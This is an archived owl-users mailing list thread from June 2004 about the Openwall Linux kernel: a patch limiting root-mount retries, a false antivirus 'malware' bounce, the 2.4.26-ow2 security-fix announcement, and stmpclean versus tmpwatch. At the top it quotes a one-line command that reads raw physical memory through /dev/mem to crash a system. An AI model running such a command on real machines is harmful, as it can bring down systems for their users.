	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      RCVD_IN_ORBS,REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Wed, Jun 16, 2004 at 09:39:36AM +0400, Lunar wrote:
> It is simple :
> 
> dd if=/dev/mem of=/dev/null ;-)

This, unlike the fsave/frstor crasher, requires group kmem or root
access.  So it's irrelevant.

But, yes, until we get more flexible resource limits, it is possible
for local users to effectively crash the system.

-- 
/sd
Return-Path: <owl-users-return-443-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5GMTZW06843
	for <jwa@private>; Wed, 16 Jun 2004 15:29:35 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 75E7270
	for <jwa@private>; Wed, 16 Jun 2004 15:29:22 -0700 (PDT)
Received: (qmail 24866 invoked by uid 550); 16 Jun 2004 15:20:12 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 24817 invoked from network); 16 Jun 2004 15:20:11 -0000
Message-ID: <40D0654B.6030606@private>
Date: Wed, 16 Jun 2004 19:20:43 +0400
From: Michael Tokarev <mjt@private>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en, ru
MIME-Version: 1.0
To: owl-users@private
Subject: Re: crash
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private> <20040616094238.GA2869@private> <40D03617.3050606@private> <20040616120519.GA3513@private>
In-Reply-To: <20040616120519.GA3513@private>
Content-Type: multipart/mixed;
 boundary="------------040105050307050205090508"
Sender: owl-users-return-443-jwa=jammed.com@private
X-Spam-Status: No, hits=-45.6 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      PATCH_UNIFIED_DIFF,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MOZILLA_UA
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

This is a multi-part message in MIME format.
--------------040105050307050205090508
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Solar Designer wrote:
> On Wed, Jun 16, 2004 at 03:59:19PM +0400, Michael Tokarev wrote:
> 
>>Speaking of the patch... The following change, which is
>>in ow patches for quite some time, is rather questionable.
[]
> It's needed for booting off USB CD-ROMs where the device might not be
> detected by the time this code is reached.

Aha.  So how much time is needed for such an USB CD-ROM to became
ready?  1 secound?  10 secounds?  I guess looping for about 10
times max will do the trick -- IF it can't be done by checking
for other error codes as in the switch statement a bit earlier
in the code - here it is in full, after Owl patch:

static void __init mount_block_root(char *name, int flags)
{
         char *fs_names = __getname();
         char *p;

         get_fs_names(fs_names);
retry:
         for (p = fs_names; *p; p += strlen(p)+1) {
                 int err = sys_mount(name, "/root", p, flags, root_mount_data);
                 switch (err) {
                         case 0:
                                 goto out;
                         case -EACCES:
                                 flags |= MS_RDONLY;
                                 goto retry;
                         case -EINVAL:
                         case -EBUSY:
                                 continue;
                 }
                 /*
                  * Allow the user to distinguish between failed open
                  * and bad superblock on root device.
                  */
                 printk ("VFS: Cannot open root device \"%s\" or %s, "
                         "retrying in 1s.\n",
                         root_device_name, kdevname (ROOT_DEV));
                 set_current_state(TASK_UNINTERRUPTIBLE);
                 schedule_timeout(HZ);
                 goto retry;
         }
         panic("VFS: Unable to mount root fs on %s", kdevname(ROOT_DEV));
out:
         putname(fs_names);
         sys_chdir("/root");
         ROOT_DEV = current->fs->pwdmnt->mnt_sb->s_dev;
         printk("VFS: Mounted root (%s filesystem)%s.\n",
                 current->fs->pwdmnt->mnt_sb->s_type->name,
                 (current->fs->pwdmnt->mnt_sb->s_flags & MS_RDONLY) ? " readonly" : "");
}

(BTW, what will set_current_state(TASK_UNINTERRUPTIBLE) do
with the whole kernel in case SECOND retry will be successeful?
Shouldn't there be set_current_state(TASK_INTERRUPTIBLE) somewhere
too?)

> Thank you for pointing out the problem with this and also for sharing
> your approach to replacing kernels with owl-users.

Heh.  I think the approach is quite logical thing to do...
At least I was doing it that way for ages, and it saved
me numerous times in the past from all sorts of various
mistakes i'm doing all the time... ;)

> I agree that this needs to be fixed, but by enhancing this code to
> support a panic timeout rather than by reverting this change like you
> do now.  It will happen sooner if you submit a patch to do that. ;-)

Ok.  I think the attached 3-liner should do the trick,
but TASK_UNINTERRUPTABLE question remains.

/mjt

--------------040105050307050205090508
Content-Type: text/plain;
 name="do_mounts.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="do_mounts.diff"

--- do_mounts.c.orig	Wed Jun 16 19:17:02 2004
+++ do_mounts.c	Wed Jun 16 19:17:49 2004
@@ -348,6 +348,7 @@
 {
 	char *fs_names = __getname();
 	char *p;
+	int tries = 10;
 
 	get_fs_names(fs_names);
 retry:
@@ -367,6 +368,8 @@
 		 * Allow the user to distinguish between failed open
 		 * and bad superblock on root device.
 		 */
+		if (!--tries)
+			break;
 		printk ("VFS: Cannot open root device \"%s\" or %s, "
 			"retrying in 1s.\n",
 			root_device_name, kdevname (ROOT_DEV));

--------------040105050307050205090508--
Return-Path: <owl-users-return-444-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5HKePW02138
	for <jwa@private>; Thu, 17 Jun 2004 13:40:25 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 1D31370
	for <jwa@private>; Thu, 17 Jun 2004 13:40:08 -0700 (PDT)
Received: (qmail 27290 invoked by uid 550); 17 Jun 2004 12:47:37 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 27282 invoked from network); 17 Jun 2004 12:47:37 -0000
Message-ID: <40D1930C.2020402@private>
Date: Thu, 17 Jun 2004 16:48:12 +0400
From: Michael Tokarev <mjt@private>
Organization: Telecom Service, JSC
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: ru, en
MIME-Version: 1.0
To: owl-users@private
Subject: Malware on the list ;)
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-444-jwa=jammed.com@private
X-Spam-Status: No, hits=-13.4 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,RCVD_IN_ORBS,
	      USER_AGENT_MOZILLA_UA
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Sorry can't resist...  Just got this in response
to my last message to owl-users.  Note the sender
address (both envelope and header) and message
origin - quite "interesting" too...  Nothing to
do with Owl per se, but quie funny and related
to this mailinglist... ;)

/mjt

Received: from smtp.concepts.nl (smtp-4.concepts.nl [213.197.30.111])
	by hobbit.corpit.ru (Postfix) with ESMTP
	for <mjt@private>; Thu, 17 Jun 2004 16:20:51 +0400 (MSD)
	(envelope-from owl-users@private)
Received: from [213.148.230.109] (helo=hbp-gwco4qsmwas)
	by smtp.concepts.nl with smtp (Exim 4.34)
	id 1BavrD-0005Yk-2k
	for mjt@private; Thu, 17 Jun 2004 14:19:03 +0200
To: <mjt@private>
Subject:Onderwerp: Norman Internet Protection - Malware-waarschuwing!
From: owl-users@private

Verzender: <mjt@private>
Geadresseerde: <owl-users@private>
Onderwerp: Re: crash

Gevonden malware: Het bestand is geblokkeerd.
Bestandsnaam van bijlage: do_mounts.diff
Status: geblokkeerd

Vergeet niet uw NVC-installatie regelmatig bij te werken
http://www.norman.com
Return-Path: <owl-users-return-445-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5I0pLW13819
	for <jwa@private>; Thu, 17 Jun 2004 17:51:21 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 46DD370
	for <jwa@private>; Thu, 17 Jun 2004 17:51:15 -0700 (PDT)
Received: (qmail 14239 invoked by uid 550); 18 Jun 2004 00:51:11 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 14231 invoked from network); 18 Jun 2004 00:51:10 -0000
Date: Fri, 18 Jun 2004 04:43:19 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Malware on the list ;)
Message-ID: <20040618004319.GA7497@private>
References: <40D1930C.2020402@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <40D1930C.2020402@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-445-jwa=jammed.com@private
X-Spam-Status: No, hits=-36.1 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      RCVD_IN_ORBS,REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Thu, Jun 17, 2004 at 04:48:12PM +0400, Michael Tokarev wrote:
> Sorry can't resist...  Just got this in response
> to my last message to owl-users.  Note the sender
> address (both envelope and header) and message
> origin - quite "interesting" too...  Nothing to
> do with Owl per se, but quie funny and related
> to this mailinglist... ;)

Well...  Yes, it's a misconfigured mail server of an owl-users
subscriber.  Apparently, their antivirus treats all unrecognized file
types as viruses and the bounce messages have the mailing list's
address as From: and envelope-from.

I've identified the subscriber, but am not sure what to do now.
Just unsubscribe them?

This does not result in a bounce for those who don't post attachments.

-- 
/sd
Return-Path: <owl-users-return-446-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5I1ZeW15860
	for <jwa@private>; Thu, 17 Jun 2004 18:35:40 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 3ABAD70
	for <jwa@private>; Thu, 17 Jun 2004 18:35:34 -0700 (PDT)
Received: (qmail 18734 invoked by uid 550); 18 Jun 2004 01:35:30 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 18725 invoked from network); 18 Jun 2004 01:35:30 -0000
Date: Fri, 18 Jun 2004 05:30:28 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: crash
Message-ID: <20040618013028.GA8252@private>
References: <1087325185.2587.25.camel@private> <20040615190058.GA1754@private> <1087337724.3291.43.camel@private> <20040616094238.GA2869@private> <40D03617.3050606@private> <20040616120519.GA3513@private> <40D0654B.6030606@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <40D0654B.6030606@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-446-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.3 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Wed, Jun 16, 2004 at 07:20:43PM +0400, Michael Tokarev wrote:
> (BTW, what will set_current_state(TASK_UNINTERRUPTIBLE) do
> with the whole kernel in case SECOND retry will be successeful?
> Shouldn't there be set_current_state(TASK_INTERRUPTIBLE) somewhere
> too?)

No, it's OK.  The call to schedule_timeout() will take care of that:

 * You can set the task state as follows -
 *
 * %TASK_UNINTERRUPTIBLE - at least @timeout jiffies are guaranteed to
 * pass before the routine returns. The routine will return 0
 *
 * %TASK_INTERRUPTIBLE - the routine may return early if a signal is
 * delivered to the current task. In this case the remaining time
 * in jiffies will be returned, or 0 if the timer expired in time
 *
 * The current task state is guaranteed to be TASK_RUNNING when this 
 * routine returns.

> >Thank you for pointing out the problem with this and also for sharing
> >your approach to replacing kernels with owl-users.
> 
> Heh.  I think the approach is quite logical thing to do...

Indeed.

> At least I was doing it that way for ages, and it saved
> me numerous times in the past from all sorts of various
> mistakes i'm doing all the time... ;)

I've been using "lilo -R" a lot too, but not the reboot on panic.

> Ok.  I think the attached 3-liner should do the trick,

Yes.  I've re-done it slightly differently, though, to better preserve
the unpatched kernel's behavior when all 10 retries fail.

Thanks again,

-- 
/sd
Return-Path: <owl-users-return-447-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5ICFZW12021
	for <jwa@private>; Fri, 18 Jun 2004 05:15:35 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 04F6870
	for <jwa@private>; Fri, 18 Jun 2004 05:15:31 -0700 (PDT)
Received: (qmail 19725 invoked by uid 550); 18 Jun 2004 12:15:27 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 19717 invoked from network); 18 Jun 2004 12:15:26 -0000
Message-ID: <001001c4552d$f91356e0$2501a8c0@private>
From: "Hellen Deckers" <bdeckers@private>
To: <owl-users@private>
References: <40D1930C.2020402@private>
Subject: Re: Malware on the list ;)
Date: Fri, 18 Jun 2004 13:15:11 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1409
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
Sender: owl-users-return-447-jwa=jammed.com@private
X-Spam-Status: No, hits=-9.3 required=5.0
	tests=BAYES_20,HABEAS_HIL,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,
	      RCVD_IN_ORBS,REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Been taking care off :-)

----- Original Message ----- 
From: "Michael Tokarev" <mjt@private>
To: <owl-users@private>
Sent: Thursday, June 17, 2004 1:48 PM
Subject: Malware on the list ;)


> Sorry can't resist...  Just got this in response
> to my last message to owl-users.  Note the sender
> address (both envelope and header) and message
> origin - quite "interesting" too...  Nothing to
> do with Owl per se, but quie funny and related
> to this mailinglist... ;)
> 
> /mjt
> 
> Received: from smtp.concepts.nl (smtp-4.concepts.nl [213.197.30.111])
> by hobbit.corpit.ru (Postfix) with ESMTP
> for <mjt@private>; Thu, 17 Jun 2004 16:20:51 +0400 (MSD)
> (envelope-from owl-users@private)
> Received: from [213.148.230.109] (helo=hbp-gwco4qsmwas)
> by smtp.concepts.nl with smtp (Exim 4.34)
> id 1BavrD-0005Yk-2k
> for mjt@private; Thu, 17 Jun 2004 14:19:03 +0200
> To: <mjt@private>
> Subject:Onderwerp: Norman Internet Protection - Malware-waarschuwing!
> From: owl-users@private
> 
> Verzender: <mjt@private>
> Geadresseerde: <owl-users@private>
> Onderwerp: Re: crash
> 
> Gevonden malware: Het bestand is geblokkeerd.
> Bestandsnaam van bijlage: do_mounts.diff
> Status: geblokkeerd
> 
> Vergeet niet uw NVC-installatie regelmatig bij te werken
> http://www.norman.com
Return-Path: <owl-users-return-448-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5J9gvW06734
	for <jwa@private>; Sat, 19 Jun 2004 02:42:57 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 87234E0
	for <jwa@private>; Sat, 19 Jun 2004 02:42:54 -0700 (PDT)
Received: (qmail 9990 invoked by uid 550); 19 Jun 2004 09:42:44 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 9971 invoked from network); 19 Jun 2004 09:42:43 -0000
Date: Sat, 19 Jun 2004 13:37:07 +0400
From: Solar Designer <solar@private>
To: announce@private, owl-users@private
Cc: lwn@private
Subject: Linux 2.4.26-ow2
Message-ID: <20040619093707.GA2148@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-448-jwa=jammed.com@private
X-Spam-Status: No, hits=-13.4 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,RCVD_IN_ORBS,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

Linux 2.4.26-ow2 is out:

	http://www.openwall.com/linux/

This update fixes multiple security-related bugs in the Linux kernel
as well as two non-security bugs in the patch itself.

The now corrected Linux kernel issues include:

- Many security-related bugs discovered by Al Viro based on his run
of the Sparse source code checking tool over Linux 2.6.x, with the
fixes later back-ported to 2.4.x (CAN-2004-0495);

- The now widely publicized fsave/frstor local DoS on x86
(CAN-2004-0554);

- A leak of potentially sensitive data from uninitialized kernel
stack locations in the Intel PRO/1000 Gigabit Ethernet driver
(CAN-2004-0535);

- A use of a just-freed data structure in the procfs code, resulting
in undefined behavior should the memory get re-allocated for another
purpose;

- Two security-related IA64-specific bugs: a local DoS (CAN-2004-0477)
and an infoleak (CAN-2004-0565);

- The potential buffer overflow in panic(), even though there's no
known way to trigger it and no known way to exploit it once triggered
due to the nature of panic().

Now, to other changes applied to code added with -ow patches:

Sergey Vlasov discovered that the non-executable stack feature
with -ow patches for Linux 2.2.x and 2.4.x (but not 2.0.x) broke
support for realtime signals when signal handlers were being installed
by means other than the appropriate glibc functions.  As Linux
applications which do not use or which bypass glibc functions are
rare, this problem went unnoticed for this long.  Sergey determined
that the problem was related to an incorrect fixup of the stack
pointer value for the case of realtime signals (the non-realtime
signals worked OK, even without glibc).  This has now been corrected.

Additionally, Sergey discovered that the GCC trampoline emulation
code in -ow patches for Linux 2.2.x and 2.4.x (but again not 2.0.x)
handled x86 instructions with certain addressing modes incorrectly,
and he provided a patch which is now included with minor changes.

These two fixes permit for Valgrind to run on Linux 2.4.26-ow2
without having to resort to doing a "chstk -e".

Finally, Michael Tokarev has explained the need for a behavior change
wrt the retried attempts to mount a root filesystem which -ow patches
for Linux 2.4.x started to do some months ago in order to support
booting off USB CD-ROMs.  Per Michael's request, the kernel will now
do a maximum of 10 retries (waiting for 1 second before each), falling
back to the usual kernel panic should all 10 retries fail.  This
permits for unattended reboots into an untested configuration where
the root filesystem might not mount and the system needs to return to
its previous kernel image automagically.  Please refer to Michael's
description of this approach in his owl-users posting:

	http://marc.theaimsgroup.com/?l=owl-users&m=108739533920021

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-449-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5NA1fW05019
	for <jwa@private>; Wed, 23 Jun 2004 03:01:41 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id BC703E1
	for <jwa@private>; Wed, 23 Jun 2004 03:01:16 -0700 (PDT)
Received: (qmail 11113 invoked by uid 550); 23 Jun 2004 10:00:59 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 11102 invoked from network); 23 Jun 2004 10:00:58 -0000
To: owl-users@private
Subject: Stmpclean vs. tmpwatch
X-Favourite-Drink: Cherry-Coke
X-Favourite-Pizza-Place: Anker
Organization: Towarzystwo
X-Jabber-Id: maciekp@private
X-Face: "z$0S%vIy|*@uf~&cUy(t.|Ww`"[=wFe(FAC->(lhsd_}0Y\^STZ&LL%W~ikh(=7DBY*>LV
	)*~d,
	+@xH3!+USJ8tt"etVnco#l:Yg.'1QEoqEb'aft~<e9u@7HHtPM5?UDo@(}c.z==Fe+qpN9[vP
	"x<(]\[ie2j8ccP75fQ+%ZNk4Fd+lRkOr{]V4(/qol)]F7'.;
	BK"nR.EAoBXf?q)+R*k@n^{E5Hr
X-Balcerowicz: Musi odejsc!
Date: Wed, 23 Jun 2004 12:01:12 +0200
Message-ID: <87k6xyh9uf.fsf@private>
User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Delivery-Agent: TMDA/1.1.4+ (Fettercairn)
From: Maciek Pasternacki <maciekp@private>
X-TMDA-Fingerprint: GaCXFtsYZJIXmsOZYFLZid6KTJ8
Sender: owl-users-return-449-jwa=jammed.com@private
X-Spam-Status: No, hits=-13.4 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,RCVD_IN_ORBS,USER_AGENT_GNUS_UA
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hello.

Are there any big advantages of stmpclean in comparison to more
standard tmpwatch?  I tried to google it out but there isn't much
material on this issue, and I believe there is some rationale for
choosing stmpclean over tmpwatch other than first letter `s' standing
for `secure'...

Greets,
		--japh

P.S.  Current version of Poldek srpm (http://www.pld.org.pl/~mis/poldek/)
      recompiles cleanly without --nodeps or need to change
      BuildRequires -- unnecesary BR on librpm version number is fixed
      now.

-- 
__    Maciek Pasternacki <maciekp@private> [ http://japhy.fnord.org/ ]
`| _   |_\  / { (3)  With sufficient thrust, pigs fly just fine.  However,
,|{-}|}| }\/                       this is not necessarily a good idea.[...] }
\/   |____/                     ( RFC 1925, Basic Truths of Networking )  -><-
Return-Path: <owl-users-return-450-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i5RNCjW17840
	for <jwa@private>; Sun, 27 Jun 2004 16:12:45 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 691C270
	for <jwa@private>; Sun, 27 Jun 2004 16:12:25 -0700 (PDT)
Received: (qmail 12414 invoked by uid 550); 27 Jun 2004 23:12:13 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 12406 invoked from network); 27 Jun 2004 23:12:11 -0000
Date: Mon, 28 Jun 2004 03:06:02 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Stmpclean vs. tmpwatch
Message-ID: <20040627230602.GA28498@private>
References: <87k6xyh9uf.fsf@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <87k6xyh9uf.fsf@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-450-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.3 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,REFERENCES,
	      REPLY_WITH_QUOTES,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

On Wed, Jun 23, 2004 at 12:01:12PM +0200, Maciek Pasternacki wrote:
> Are there any big advantages of stmpclean in comparison to more
> standard tmpwatch?

When I picked stmpclean, it appeared that tmpwatch was heading in the
wrong direction.  Some newer versions of tmpwatch were essentially
fork bombs waiting to be triggered, -- but this has since been fixed
and now the latest tmpwatch doesn't look nearly as bad.

tmpwatch will remove root-owned files except for some taboo ones;
stmpclean won't remove root-owned files at all.

tmpwatch can optionally invoke fuser(1) on each file.  This is an
added feature, -- but do you really want a fork-exec for each file,
with untrusted filenames passed via the command line?  I don't want
to take responsibility for this feature and its poor implementation.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments



This archive was generated by hypermail 2.1.3 : Sun Jan 15 2006 - 13:43:18 PST